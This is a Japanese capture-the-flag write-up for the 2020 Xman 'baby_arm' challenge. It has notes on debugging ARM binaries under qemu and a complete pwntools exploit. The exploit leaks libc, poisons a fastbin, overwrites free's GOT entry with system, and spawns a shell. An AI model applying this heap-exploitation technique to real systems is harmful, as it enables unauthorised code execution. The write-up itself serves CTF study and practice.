arm問題
2562 ワード
2020Xman baby_arm
デバッグについて
arm-linux-gnueabihfで起動、-gはデバッグポートを指定しますが、正常なpwn問題のようにスクリプトの中で位置を指定してgdbデバッグを開始する方法が分かりません.そのため、別の端末でgdb-multiarch、tar rem:portリモートデバッグを使用するしかなく、ターゲットアドレスの下でブレークポイント、cが過ぎます.そして,シンボルテーブルがないためsystem関数アドレスを印刷できず,binコマンド,heapなども使えず,直接xでアドレスの内容を見るしかない.まとめると、デバッグが難しい.
デバッグ時にarmアーキテクチャのfastbinチェーンテーブルとunsortedbin双方向チェーンテーブルの位置が謎であることが分かったが、機能とx 86 x 64の差は多くない.
またlibcベースアドレスを計算するときにvmmapで見たベースアドレスは役に立たないことがわかり、vmmapで見たベースアドレス+0 x 1000を正常に計算する必要があります.なぜかどうしても分からない.
デバッグについて
arm-linux-gnueabihfで起動、-gはデバッグポートを指定しますが、正常なpwn問題のようにスクリプトの中で位置を指定してgdbデバッグを開始する方法が分かりません.そのため、別の端末でgdb-multiarch、tar rem:portリモートデバッグを使用するしかなく、ターゲットアドレスの下でブレークポイント、cが過ぎます.そして,シンボルテーブルがないためsystem関数アドレスを印刷できず,binコマンド,heapなども使えず,直接xでアドレスの内容を見るしかない.まとめると、デバッグが難しい.
デバッグ時にarmアーキテクチャのfastbinチェーンテーブルとunsortedbin双方向チェーンテーブルの位置が謎であることが分かったが、機能とx 86 x 64の差は多くない.
またlibcベースアドレスを計算するときにvmmapで見たベースアドレスは役に立たないことがわかり、vmmapで見たベースアドレス+0 x 1000を正常に計算する必要があります.なぜかどうしても分からない.
from pwn import *
#context.terminal = ['tmux', 'splitw', '-h']
s = lambda data :ctx.send(str(data))
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
#ctx = process(["qemu-arm", "-g", "2353", "-L", "/usr/arm-linux-gnueabihf", "./babyarm"])
ctx = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./babyarm"])
#elf=ELF("./awd7")
libc = ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6")
#context.log_level = "debug"
def add(sz,c):
sla('your choice: ',1)
sla('Note size :',sz)
sa('Content :',c)
def edit(idx,c):#0x10
sla('your choice: ',5)
sla('Index :',idx)
sa('You content:',c)
def show(idx):
sla('your choice: ',3)
sla('Index :',idx)
def free(idx):
sla('your choice: ',2)
sla('Index :',idx)
lst = 0x21088
#edit = 0x10990 add = 0x106E6 free = 0x1081E
name = 0x21068
free_got = 0x21014
sla('name:',(p32(0)+p32(0x28))*4)
add(0x40,'0')
add(0x20,'1')
add(0x20,'2')
free(0)
show(0)
lb = uu32(r(4)) - 0x27cc - 0xe6000
success(hex(lb))
sys = libc.sym['system'] + lb
fh = 0xE9734 + lb
free(1)
edit(1,p32(name+0x10))
add(0x20,'/bin/sh\x00')#3
add(0x20,p32(free_got)*3)
edit(0,p32(sys))
free(3)
irt()